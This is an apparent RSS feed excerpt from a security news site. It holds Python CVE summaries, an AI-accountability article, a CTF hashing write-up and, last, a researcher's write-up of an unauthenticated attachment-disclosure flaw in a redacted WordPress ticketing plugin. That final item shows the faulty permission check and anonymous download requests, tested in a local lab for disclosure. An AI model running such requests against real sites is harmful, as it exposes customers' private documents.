use this issue to inject arbitrary content. This issue only affected Ubuntu
22.04 LTS and Ubuntu 24.04 LTS. (CVE-2026-3644)

It was discovered that the Python pyexpat module was vulnerable to
unbounded recursion in the Expat XML parser. An attacker could possibly use
this issue to cause Python to crash, resulting in a denial of service. This
issue only affected Ubuntu 22.04 LTS and Ubuntu 24.04 LTS. (CVE-2026-4224)

It was discovered that Python's webbrowser module accepted leading dashes
in URLs, which could be interpreted as command-line options. An attacker
could possibly use this issue to execute arbitrary commands. This issue
only affected Ubuntu 22.04 LTS and Ubuntu 24.04 LTS. (CVE-2026-4519)

It was discovered that Python incorrectly handled webbrowser.open()
handlers. An attacker could possibly use this issue to execute arbitrary
commands. (CVE-2026-4786)

It was discovered that Python's remote debugging module did not properly
validate offset tables when loading debug information. An attacker could
possibly use this issue to cause Python to crash or execute arbitrary
code. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-5713)

It was discovered that Python's http.cookies module incorrectly escaped
values in the js_output() method. An attacker could possibly use this issue
to inject arbitrary JavaScript. (CVE-2026-6019)

It was discovered that Python's lzma, bz2, and gzip decompressor objects
had a use-after-free vulnerability. An attacker could possibly use this
issue to cause Python to crash or execute arbitrary code. (CVE-2026-6100)

It was discovered that Python's tarfile module did not properly validate
link targets when using the data filter. An attacker could possibly use
this issue to bypass path restrictions. This issue only affected Ubuntu
24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-7774)

It was discovered that the fix for CVE-2021-4189 in Python's ftplib module
was incomplete, allowing PASV responses to be used in ftplib.ftpcp(). An
attacker could possibly use this issue to perform server-side request
forgery attacks. (CVE-2026-8328)

It was discovered that Python's bz2 module allowed reuse of a
BZ2Decompressor object after a decompression error. An attacker could
possibly use this issue to cause Python to crash or execute arbitrary
code. (CVE-2026-9669)]]></content:encoded>
</item>
<item>
<title><![CDATA[⚡ Weekly Recap: Proxy Botnets, Browser Ransomware, AI Agent Tricks, Fake PoC Malware and More]]></title>
<description><![CDATA[A streaming box should not need a threat model. Neither should a username field, a demo repo, a reset flow, or a browser permission prompt. That is the irritating part this week: the risky pieces were ordinary.

Home devices became a routing cover. Clean code pulled dirt from a dependency. Identi...]]></description>
<link>https://tsecurity.de/de/3648821/it-security-nachrichten/weekly-recap-proxy-botnets-browser-ransomware-ai-agent-tricks-fake-poc-malware-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648821/it-security-nachrichten/weekly-recap-proxy-botnets-browser-ransomware-ai-agent-tricks-fake-poc-malware-and-more/</guid>
<pubDate>Mon, 06 Jul 2026 15:20:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A streaming box should not need a threat model. Neither should a username field, a demo repo, a reset flow, or a browser permission prompt. That is the irritating part this week: the risky pieces were ordinary.

Home devices became a routing cover. Clean code pulled dirt from a dependency. Identity shortcuts aged badly. AI systems trusted the wrong instructions. Same soft spot throughout: trust]]></content:encoded>
</item>
<item>
<title><![CDATA[6 ways to make AI accountability stick]]></title>
<description><![CDATA[As intelligent systems move into production environments and begin taking actions, organizations quickly discover that accountability becomes much harder. Unlike traditional enterprise software, these tools can produce unpredictable outcomes as they interact dynamically with data, APIs, and busin...]]></description>
<link>https://tsecurity.de/de/3648526/ai-nachrichten/6-ways-to-make-ai-accountability-stick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648526/ai-nachrichten/6-ways-to-make-ai-accountability-stick/</guid>
<pubDate>Mon, 06 Jul 2026 13:04:49 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As intelligent systems move into production environments and begin taking actions, organizations quickly discover that <a href="https://www.cio.com/article/4160986/ai-is-spreading-decision-making-but-not-accountability.html" target="_blank">accountability becomes much harder</a>. Unlike traditional enterprise software, these tools can produce unpredictable outcomes as they interact dynamically with data, APIs, and business workflows.</p>



<p>“When something goes wrong with AI, it is generally assigned to whoever was closest to the pain point,” says <a href="https://www.linkedin.com/in/davidduchene/" target="_blank" rel="noreferrer noopener">David DuChene</a>, manager of data and AI pre-sales at SHI International, which works with enterprises on AI deployments and governance.</p>



<p>As these systems shift from advisor to actor within workflows, accountability becomes harder to enforce through policies alone. IT leaders must build it directly into the fabric of their operations through clear ownership, continuous observability, defined escalation paths, and infrastructure designed to make responsibility visible when things go wrong.</p>



<p>Here are six ways to make AI accountability enforceable in production.</p>



<h2 class="wp-block-heading">1. Assign direct ownership from the beginning</h2>



<p>Many enterprises still view AI accountability as a shared responsibility, but some experts argue that this is the first assumption to fail when systems enter production.</p>



<p>“Shared accountability is not accountability,” says <a href="https://www.linkedin.com/in/joseph-wilson-807a60104/" target="_blank" rel="noreferrer noopener">Joe Wilson</a>, SVP and CIO of CSG, a customer experience, billing, and payments software provider. “You need a direct owner.”</p>



<p>He says that at CSG, AI initiatives go through governance reviews involving executive leadership, and direct ownership is assigned at the start of projects. Wilson, who oversees the AI governance and deployment strategy for CSG, says the company also created “CIO reps” embedded inside business units and product groups to ensure accountability spans the entire lifecycle of AI initiatives.</p>



<p>According to SHI’s DuChene, many enterprises still lack formalized accountability structures for those environments. “They may have responsible parties on paper, but once a system actually breaks down, everything gets relitigated,” he says. “It goes back to who’s closest to the pain point.”</p>



<p>One diagnostic question, he argues, reveals whether organizations are truly prepared: “If your AI deployment generates a wrong answer and costs the business money tomorrow, who’s going to write the postmortem?”</p>



<p>If leaders cannot answer that question quickly, accountability structures likely don’t yet exist in practice.</p>



<h2 class="wp-block-heading">2. Build governance before scaling deployments</h2>



<p>In the past few years, many enterprises deployed AI systems before establishing the governance and operational foundations necessary to support them safely. “The biggest gap we see is a sequencing problem,” says DuChene. “We’ve gone around and built a bunch of houses where we’re standing up the walls before we’re pouring the foundations.”</p>



<p>That sequencing problem creates expensive retrofitting efforts later. DuChene says teams frequently discover they lack data classification systems, AI-aware identity and access controls, lineage and provenance tracking, audit capabilities, and escalation channels for failures.</p>



<p>According to <a href="https://www.linkedin.com/in/sdobrin/" target="_blank" rel="noreferrer noopener">Seth Dobrin</a>, CEO of deterministic AI model maker Arya Labs and former global AI leader at IBM, governance often fails because organizations treat it as a policy layer rather than something embedded directly into operational workflows. “How do you integrate it into the workflow?” he asks. “If you don’t get that right, it’s going to fall apart.”</p>



<p>Dobrin recalls working with an insurance company that spent 18 months building an intelligent system before legal teams blocked deployment entirely. The problem was not the technology itself, but the absence of governance early in the process. “They had to throw it away,” Dobrin says. “Had they started earlier, they would have steered it to a place where they could have gotten to yes.”</p>



<p>Dobrin says governance should not slow projects down. Instead it should be integrated deeply enough into workflows that teams can move quickly without downstream compliance or operational failures. “The objective should never be to say no,” he says. “It should always be to figure out how to say yes.”</p>



<p>Wilson at CSG makes a similar point, arguing that governance should help teams absorb complexity rather than simply restrict what they can do. He compares it to a vehicle suspension system rather than a braking mechanism. “Our intention is not to slow things down,” he says. “Our intention is to speed stuff up, but also when you get into rough terrain, to be able to navigate that terrain.”</p>



<h2 class="wp-block-heading">3. Treat data governance as the foundation of accountability</h2>



<p>According to Wilson, CSG focused on governing its data before scaling AI initiatives across the business. Those efforts started with data synchronization and privacy impact assessments.</p>



<p>“The foundation is data,” Wilson says. “If we don’t have clean, synchronized, and governed data across the board, we’re not going to win this battle.”</p>



<p>Many organizations underestimate how difficult it becomes to maintain accountability once AI systems begin interacting with fragmented enterprise data environments, says <a href="https://www.linkedin.com/in/qtaraki/" target="_blank" rel="noreferrer noopener">Quais Taraki</a>, CTO of EnterpriseDB, a company that works with enterprises on data infrastructure and governance.</p>



<p>An AI assistant summarizing customer interactions, for example, may pull regulated or confidential data from systems that were never intended to feed generative AI tools.</p>



<p>Strong data governance practices — including lineage, provenance tracking, classification systems, and access controls — not only help head off such problems but also create the foundation for accountability when something does go wrong. Otherwise, teams struggle to determine what data an AI system accessed, how outputs were generated, and whether sensitive information influenced a decision.</p>



<p>“Without lineage and provenance, you can’t do root-cause analysis,” Taraki says. “You won’t know what to change, or how things mutated in ways you didn’t expect.”</p>



<p>Taraki argues that accountability should follow governed data products rather than organizational silos. When ownership is split across infrastructure teams, data scientists, and application developers, responsibility can become difficult to establish after failures occur. Assigning clear ownership to the data products that feed AI systems helps create accountability throughout the AI lifecycle.</p>



<h2 class="wp-block-heading">4. Build observability into (and beyond) AI systems</h2>



<p>Traditional enterprise monitoring systems were designed primarily to track uptime, infrastructure health, and application performance. AI introduces a different challenge: tracing reasoning paths, decision chains, and behavioral drift.</p>



<p><a href="https://www.linkedin.com/in/nikkale/" target="_blank" rel="noreferrer noopener">Nik Kale</a>, a member of the <a href="https://www.coalitionforsecureai.org/" target="_blank" rel="noreferrer noopener">Coalition for Secure AI</a> (CoSAI) and participant in AI security and agent identity standards efforts, describes this through what he calls an “Investigation Graph.” This is a reasoning trail showing what an AI system observed, what tools it accessed, what conclusions it reached, and what actions it ultimately took.</p>



<p>“When something breaks, the first instinct is always to ask, ‘Why did the AI make that decision?’” Kale says. “Honestly, I think that’s the wrong question. The right question is, ‘What did the system actually do?’”</p>



<p>That distinction is increasingly important because AI failures rarely originate from a model alone. Instead, they emerge from interactions between models, credentials, APIs, workflows, policies, and downstream systems.</p>



<p>“The model didn’t act,” Kale says. “The system around the model acted.”</p>



<p>That broader view of accountability is also changing how IT leaders think about observability. Rather than monitoring AI models in isolation, enterprises increasingly need visibility across the systems those models interact with, including data sources, APIs, applications, security controls, and downstream workflows.</p>



<p>In practice, that starts with comprehensive logging of prompts, model outputs, tool calls, data access events, and agent actions. Combined with traditional application and infrastructure telemetry, those logs create an auditable record of how AI systems behaved and why decisions were made.</p>



<p>That visibility becomes especially important when IT leaders try to identify unauthorized AI usage. While governance policies define which tools employees <em>should</em> use, observability helps reveal which tools they are actually using. Unusual data access patterns, unexpected API calls, traffic to external AI services, and unexplained movement of sensitive data can all be indicators of <a href="https://www.cio.com/article/4178359/why-your-most-ai-savvy-employees-are-driving-shadow-ai.html" target="_blank">shadow AI</a>.</p>



<p>Even well-governed organizations can struggle when employees adopt unauthorized AI tools outside approved workflows. “If it’s shadow IT, we don’t even know it exists,” says DuChene. “We don’t know what data of ours is going into it, how it’s being used, or how it’s being distributed.”</p>



<p>By extending observability beyond AI models to the broader enterprise environment, IT can detect those activities earlier, investigate them more quickly, and reduce the accountability gaps that shadow AI creates.</p>



<h2 class="wp-block-heading">5. Create ‘escalate’ and ‘stop’ mechanisms</h2>



<p>The most important accountability question may not be what an AI system can see or do, but when it should stop and ask for help.</p>



<p>According to Kale, that’s often the most underdeveloped part of enterprise AI deployments. “Most enterprises have figured out how to monitor their AI systems,” he says. “But nobody has really built the third piece, which is, when does the system actually stop and ask for help?”</p>



<p>Kale argues that enterprises need explicit escalation paths, human decision points, and clearly defined stop mechanisms for systems operating in production.</p>



<p>“You don’t want a rubber stamp — you want a human in the loop,” he says, adding that the human should be named and have the authority to say no.</p>



<p>According to Wilson, incident response processes also need to evolve, because AI failures behave differently from traditional IT outages. “A traditional IT incident typically looks like it’s an up or down scenario,” he says. “AI failures are a little more subtle than that.”</p>



<p>Models may drift gradually, outputs may degrade over time, or workflows may begin producing unexpected results without systems technically failing. The result, says Wilson, is a growing need for multidisciplinary response processes involving legal, communications, security, audit, business teams, and IT operations simultaneously.</p>



<h2 class="wp-block-heading">6. Treat AI systems more like workers than software</h2>



<p>Some enterprises still govern AI like traditional applications. But according to Kale, AI systems behave more like workers and less like deterministic software.</p>



<p>“You cannot just deploy once and be done,” he says. “Like workers, they need ongoing oversight.”</p>



<p>That ongoing oversight is becoming a core accountability function. Employees are not hired, trained, and then left unsupervised indefinitely. Managers monitor performance, provide feedback, evaluate changing responsibilities, and intervene when behavior drifts from expectations. Kale argues that AI systems increasingly require similar treatment.</p>



<p>Traditional software can often be reviewed and approved at release time because its behavior remains relatively stable between versions. AI systems are different. Models evolve, prompts change, retrieval systems are updated, and the information available to agents changes continuously.</p>



<p>That challenge extends beyond internally developed systems. Enterprises must also monitor the third-party AI services they rely on. Not only do vendor models evolve on their own, but vendors also update software and capabilities behind the scenes.</p>



<p>“The vendor we approved last quarter is functionally a different vendor this quarter,” Kale says.</p>



<p>As a result, accountability cannot end when a system is deployed. Someone must remain responsible for monitoring performance, reviewing changes, assessing risk, and determining whether systems continue to operate within acceptable boundaries. Kale points to CoSAI’s <a href="https://www.coalitionforsecureai.org/wp-content/uploads/2026/05/CoSAI-Shared-Responsibility-Framework.pdf" target="_blank" rel="noreferrer noopener">AI Shared Responsibility Framework</a> as one emerging effort to clarify those responsibilities across enterprises, software vendors, model providers, and infrastructure operators.</p>



<p>The organizations making the most progress are discovering that accountability cannot be assigned on paper and forgotten. As AI systems become more autonomous, accountability is becoming an operational capability built into data governance, observability, escalation processes, and ongoing oversight. For IT leaders, the challenge is no longer defining responsibility. It is making responsibility enforceable.</p>



<p><strong>Related reading:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4183249/cios-plagued-by-a-growing-ai-accountability-gap.html" target="_blank">CIOs plagued by growing AI accountability gap</a></li>



<li><a href="https://www.cio.com/article/4160986/ai-is-spreading-decision-making-but-not-accountability.html" target="_blank">AI is spreading decision-making, but not accountability</a></li>



<li><a href="https://www.cio.com/article/4184151/who-authorized-the-ai-agent-breaking-the-blame-loop-in-agentic-ai.html">Who authorized the AI agent? Breaking the blame loop in agentic AI</a></li>



<li><a href="https://www.computerworld.com/article/4122948/responsible-ai-gap-why-ai-adoption-keeps-outrunning-governance-and-what-to-do-about-it.html">Why AI adoption keeps outrunning governance — and what to do about it</a></li>



<li><a href="https://www.computerworld.com/article/4166728/5-ways-to-curb-ai-sprawl-without-stifling-innovation.html">5 ways to curb AI sprawl without stifling innovation</a></li>
</ul>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kontinuierliche Datenvalidierung schließt Malware-Infektionen in Wiederherstellungsprozessen aus]]></title>
<description><![CDATA[Mit dem „Cristie Resilience Booster“ stellt die Cristie Data GmbH eine Software zur automatisierten, geprüften und gesicherten Wiederherstellbarkeit von Backups vor. Das Produkt enthält eine Clean-Room-Technik.]]></description>
<link>https://tsecurity.de/de/3648038/it-security-nachrichten/kontinuierliche-datenvalidierung-schliesst-malware-infektionen-in-wiederherstellungsprozessen-aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648038/it-security-nachrichten/kontinuierliche-datenvalidierung-schliesst-malware-infektionen-in-wiederherstellungsprozessen-aus/</guid>
<pubDate>Mon, 06 Jul 2026 09:23:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mit dem „Cristie Resilience Booster“ stellt die Cristie Data GmbH eine Software zur automatisierten, geprüften und gesicherten Wiederherstellbarkeit von Backups vor. Das Produkt enthält eine Clean-Room-Technik.]]></content:encoded>
</item>
<item>
<title><![CDATA[RingZeroCTF Coding Challenge 1 [Hash Me If You Can] Writeup]]></title>
<description><![CDATA[Ok so guys this is my first writeup i have been writing on the medium platform of the recent CTF i was practicing on the platform RingZero.In that i selected the coding challenges and decided to do the first challenge.Now the challenge interface looked somehow like this the image attached below.C...]]></description>
<link>https://tsecurity.de/de/3647970/hacking/ringzeroctf-coding-challenge-1-hash-me-if-you-can-writeup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3647970/hacking/ringzeroctf-coding-challenge-1-hash-me-if-you-can-writeup/</guid>
<pubDate>Mon, 06 Jul 2026 08:53:06 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ol><li>Ok so guys this is my first writeup i have been writing on the medium platform of the recent CTF i was practicing on the platform RingZero.</li><li>In that i selected the <strong>coding challenges</strong> and decided to do the first challenge.</li><li>Now the challenge interface looked somehow like this the image attached below.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R7KN3pVfq5g74sJad0hZhQ.png"><figcaption>Clicked on the ‘Go To Challenge’ Option</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*hmWWFjKegKW1AUIuUCwA0g.png"><figcaption>Challenge URL :- <a href="http://challenges.ringzer0ctf.com:10013/">http://challenges.ringzer0ctf.com:10013/</a></figcaption></figure><p>4. Now after this i read the challenge text carefully and it told that i have to hash this given message text using the SHA 512 Algorithm and then submit the text to the given URL and in the end i will get the flag after i submit the correct response.</p><p>5. <strong>All this process i have to in just 2 seconds, which is obviously not humanly possible at all</strong>.</p><p>6. So here clearly we had to apply the kind of the some script or any commands of linux and send the requests.</p><p>7. <strong>SHA 512</strong> :- It is a cryptographic hashing algorithm which is used to convert any text of the any length in just 512 bit [64 bytes]. It is not any encryption algorithm at all. It is a part of the SHA 2 family in cryptography.</p><p>8. Now the first command i thought of running was :-</p><pre>curl "http://challenges.ringzer0team.com:10013/?r=$(echo -n [The hashing text] | shah512sum | cut -d ' ' -f1)"</pre><p>9. Now in this command i have used the :</p><p>a. curl command to send the HTTP Requests from the CLI Terminal of the Kali.</p><p>b. <strong>echo -n command</strong> to paste the text including the newline character as well.</p><p>c. <strong>sha512sum</strong> for hashing</p><p>d. <strong>cut delimiters of the whitespaces and then extracting only first field of that </strong>.</p><p>10. But here is the thing that this command will not give the flag at all because the <strong>Challenge URL</strong> is dynamic and the texts updates itself. So if we send the requests of curl in just 2 seconds the text will get updated and then new text will be there which will have the different hash then previous one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8faXA9xHvXbEhVqVmuJsQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9r85IuR72w9qkpjGa6RILw.png"></figure><p>11. In the images you can clearly see that it has shown in the response that too slow process error.</p><p>12. So i used some help of the AI then got to know about the session stateful requests which <strong>store the cookies</strong> and <strong>session id </strong>automatically and then from that we can send the the requests to the URL and it will store the cookies and in response we will get the answer.</p><p>13. By <strong>storage of the session cookies</strong> we will <strong>retrieve the original message response</strong> of the server which will include the flag.</p><p>14. So now <strong>choosing the Python </strong>as the language because it has the <strong>supported libraries</strong> which will make the scripting easier i constructed the below script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2GPARBh7t35r4B6SjIogcg.png"><figcaption>Final Python Script</figcaption></figure><p>15. <strong>Explanation of the script in understandable way </strong>:-</p><p>a.<strong> <em>requests, re, hashlib library</em> </strong>:- <em>Requests is the A Python library used to send HTTP requests (GET, POST, etc.) to websites and receive responses like a browser. It handles sessions, cookies, headers, and makes web automation simple and reliable. Re is the Python’s regular expression library used to search, match, and extract patterns from text. It is used when you need to find specific data inside large or messy strings like logs or HTML. Hashlib is the Python’s cryptographic hashing library used to generate hashes like SHA-256 and SHA-512. It converts data into a fixed-length fingerprint used for integrity checks and security tasks</em>.</p><p>b. <em>I used the </em><strong><em>requests library</em></strong><em> of the python to create the session of the website and the extract the response of the text and then i just applied the </em><strong><em>re.search function</em></strong><em> to extract the original message which we are given to hash</em>.</p><p>c. <strong><em>.*?</em></strong><em> -&gt; </em><strong><em>‘.’</em></strong><em> means to match any character. </em><strong><em>‘*’</em></strong><em> means to repeat the process zero or more times. </em><strong><em>‘?’</em></strong><em> makes it lazy to match little as possible.</em></p><p>d. <strong><em>\s*</em></strong><em> -&gt; To neglect the whitespaces in the reponse.</em></p><p>e. <strong><em>strip() function</em></strong><em> :- This is the function of the python to remove the leading and trailing whitespaces from the text we have selected.</em></p><p>f. <strong><em>hashlib.sha512(text.encode()).hexdigest </em></strong><em>:- Now the extracted text is the alphanumeric characters which the machine do not understand, it understands the language of the bit/bytes so we encoded to the UTF-8 encoding [By Default] using the encode() function and then applied the sha512 function and then after that we again converted to hexadecimal characters for the human readable text.</em></p><p>g. <em>At last we added the line of sending requests with the </em><strong><em>params [parameter]</em></strong><em> added as well.</em></p><p>16. <strong>With this we executed the script</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lC-P9SYrBDVesrJZtuqOng.png"><figcaption>Response Part 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tALgdIGwiHUGyHm2VlEfYw.png"><figcaption>Response Part 2</figcaption></figure><p>17. <strong>Hell Yeah we got the Flag</strong>.</p><p>18. <strong>One another method is also there of the Burp Suite Using as well. So i suggest all of people to try that method themselves as well</strong>.</p><p>This was my first write-up, and it marks the beginning of a series where I will consistently break down <strong>real CTF challenges with real techniques and real learning outcomes</strong>. My goal is not just to solve challenges, but to <strong>explain the mindset, tooling, and reasoning</strong> behind every step so that readers can actually apply these skills in practice.</p><p>Every upcoming write-up will focus on <strong>practical cybersecurity concepts</strong>, clean automation, and problem-solving approaches that are genuinely useful for CTFs, penetration testing, and real-world security work. If you are someone who wants to move beyond copy-paste solutions and truly understand <em>why</em> things work, these write-ups are for you.</p><p>If you found this helpful, consider following and sharing it with your peers — it helps me stay consistent and motivates me to keep producing <strong>high-quality, beginner-friendly yet technically solid content</strong> for the community.</p><p>More challenges. More automation. More learning.</p><p><strong>Happy Hacking.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U7qcpGP5GTpyKsac"><figcaption>Photo by <a href="https://unsplash.com/@csbphotography?utm_source=medium&amp;utm_medium=referral">Conor Samuel</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=ba55f820a1b8" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/ringzeroctf-coding-challenge-1-hash-me-if-you-can-writeup-ba55f820a1b8">RingZeroCTF Coding Challenge 1 [Hash Me If You Can] Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a…]]></title>
<description><![CDATA[I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really MeansAuthor: Shikhali JamalzadeGitHub: alisalive · LinkedIn: camalzadsDisclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker te...]]></description>
<link>https://tsecurity.de/de/3646320/hacking/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646320/hacking/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:15 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xavI1_sTm7sTpNEO_Vf7A.png"></figure><h3>I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really Means</h3><h4><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br><strong>GitHub:</strong> <a href="https://github.com/alisalive">alisalive</a> · <strong>LinkedIn:</strong> <a href="https://linkedin.com/in/camalzads">camalzads</a></h4><blockquote><strong><em>Disclosure Notice:</em></strong><em> This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available “latest-stable” release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. The affected plugin’s name and the exact route are intentionally redacted here, because the underlying issue is currently being tracked through coordinated disclosure and may not yet be fully patched at the time of writing. This write-up is published strictly for educational purposes.</em></blockquote><h3>Background</h3><p>Most of my CVE research starts from one theory: a plugin whose developers made one authorization mistake will usually have made others, and the categories that leak most often are the ones tied to user-owned objects — tickets, attachments, profiles, orders. Broken Access Control is, by a wide margin, the single most productive class in the WordPress plugin ecosystem, and unauthenticated variants sit at the top of that list.</p><p>This time the target was a <strong>support-desk / ticketing plugin</strong> — the kind of software where customers upload invoices, ID scans, contracts, and screenshots straight into a ticket. If the endpoint that serves those attachments doesn’t check <em>who</em> is asking, the impact isn’t abstract: it’s other people’s private documents.</p><p>What follows is a fully independent, fully reproducible finding — and the moment, after submission, when I learned it overlapped with a report already sitting in a vulnerability database’s pipeline. I’m publishing the technical breakdown anyway, because the methodology and the honest reconciliation with prior art are the actual point of doing this in public.</p><h3>Scope &amp; Method</h3><ul><li><strong>Target:</strong> A WordPress support/ticketing plugin (redacted), latest-stable from WordPress.org</li><li><strong>Environment:</strong> Local, isolated Docker stack — WordPress + MySQL 5.7</li><li><strong>Assessment Type:</strong> White-box source audit + black-box PoC validation</li><li><strong>Authorization:</strong> Self-authorized, isolated local research environment — no live targets</li><li><strong>Tools:</strong> grep, WP-CLI, curl, docker, MySQL CLI</li></ul><h3>Phase 1: Target Confirmation</h3><p>Before touching anything, I confirmed exactly what I was auditing: the plugin name, its version, that it was active, and the WordPress version underneath it. This is the first screenshot in every submission I make, because a reviewer needs to know the finding was validated against a real, current install — not a hypothetical.</p><pre>=== TARGET CONFIRMATION ===<br>Plugin:    &lt;redacted&gt; (latest-stable)<br>Version:   &lt;redacted — current release at time of testing&gt;<br>Active:    YES<br>WordPress: 7.0<br>Site URL:  http://&lt;local-docker&gt;:8080</pre><p>The critical detail here: I was testing the <strong>current</strong> version. Not an old release with a known history — the newest code the plugin ships today.</p><h3>Phase 2: Mapping the Attack Surface</h3><p>The plugin exposes its functionality through a REST namespace. I exported the source via SVN and mapped every route, paying special attention to the permission callbacks — the functions WordPress calls to decide whether a request is allowed <em>before</em> the handler runs.</p><pre>grep -n "RegisterRestRoute\|permission" &lt;source&gt;/api/v1/&lt;controller&gt;.php</pre><p>One route stood out immediately — the handler that serves ticket and reply <strong>file attachments</strong>:</p><pre>$this-&gt;RegisterRestRoute(<br>    'GET',<br>    'file-dl/(?P&lt;type&gt;[a-zA-Z0-9-]+)/(?P&lt;id&gt;[0-9_]+)/(?P&lt;file&gt;[^/]+)',<br>    [$this, "file_dl"]<br>);</pre><p>Three attacker-controlled segments — a type selector, a numeric identifier, and a filename — feeding a file-download handler. Exactly the shape of an IDOR, <em>if</em> the permission gate is weak. So I read the gate.</p><h3>Phase 3: Root Cause</h3><p>The route’s permission logic resolved, for this particular download route, to a single unconditional line:</p><pre>} elseif ($route == "file-dl") {<br>    return true;<br>}</pre><p>That’s the whole bug. The permission callback returns true for the attachment-download route <strong>unconditionally</strong> — no authentication check, no nonce, no verification that the requester owns the ticket the file belongs to. Once that callback returns true, WordPress hands the request straight to the download handler, which reads the identifier and filename from the URL and returns the file.</p><p>Because the callback never looks at the current user, there is no notion of “your ticket” versus “someone else’s ticket.” Every attachment is reachable by everyone — including an anonymous visitor with no account at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lpAnerehFINPi_d71dGXaQ.png"></figure><h3>Phase 4: Building an Isolated Test Environment</h3><p>To prove impact safely, I stood up a throwaway install rather than touching any live site: WordPress + MySQL 5.7 in Docker, the plugin installed from the dashboard, and a realistic victim scenario seeded by hand.</p><p>I created two synthetic victim artifacts, standing in for what a real customer would attach:</p><ul><li>A <strong>ticket attachment</strong> (type = T) containing a fake "confidential customer record."</li><li>A <strong>reply attachment</strong> (type = R) containing a fake "private invoice."</li></ul><pre>=== SETUP: victim ticket + reply attachments ===<br>[ticket attachment created — synthetic "customer record"]<br>[reply attachment created — synthetic "invoice"]<br>Files created: 2</pre><p>I also inserted the matching reply row into the plugin’s database table, because the reply-download path validates that a reply record exists before serving its file. This made the second attack vector reachable exactly as it would be on a real site.</p><h3>Phase 5: Proof of Concept</h3><h3>Vector 1 — Unauthenticated Ticket Attachment (type = T)</h3><p>From a session with <strong>no cookies, no auth header, no login</strong>, I requested the ticket attachment and filtered the output to show that the request carried no credentials and the server returned the file anyway:</p><pre>&gt; GET /wp-json/&lt;plugin&gt;/v1/ticket/file-dl/T/1/&lt;file&gt; HTTP/1.1<br>&gt; Host: &lt;local-docker&gt;<br>&lt; HTTP/1.1 200 OK<br>[SYNTHETIC CONFIDENTIAL RECORD RETURNED]</pre><p>No Cookie header. No Authorization header. HTTP 200, and the full attachment content in the response body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Amwgj9qEjLNevJjkzXtbFg.png"></figure><h3>Vector 2 — Unauthenticated Reply Attachment (type = R)</h3><p>The reply path uses a compound {ticketId}_{replyId} identifier. Same anonymous session, same result:</p><pre>&gt; GET /wp-json/&lt;plugin&gt;/v1/ticket/file-dl/R/1_1/&lt;file&gt; HTTP/1.1<br>&gt; Host: &lt;local-docker&gt;<br>&lt; HTTP/1.1 200 OK<br>[SYNTHETIC PRIVATE INVOICE RETURNED]</pre><p>Two independent download paths, both fully unauthenticated.</p><h3>Integrity Proof</h3><p>A 200 response proves the endpoint answered — but I wanted to prove the anonymous request returned the <em>actual victim file</em>, byte for byte, not a placeholder or an error page. So I compared the MD5 of the file on disk with the MD5 of what the unauthenticated request pulled down:</p><pre>--- [A] File on server (victim's attachment) ---<br>254e7a2a21c6d0d55fbc11fc08e30c18   &lt;server-side file&gt;</pre><pre>--- [B] Content retrieved via unauthenticated request ---<br>254e7a2a21c6d0d55fbc11fc08e30c18   &lt;downloaded file&gt;</pre><p>Identical hashes. Byte-for-byte exfiltration, from an anonymous session, confirmed.</p><figure><img alt="" 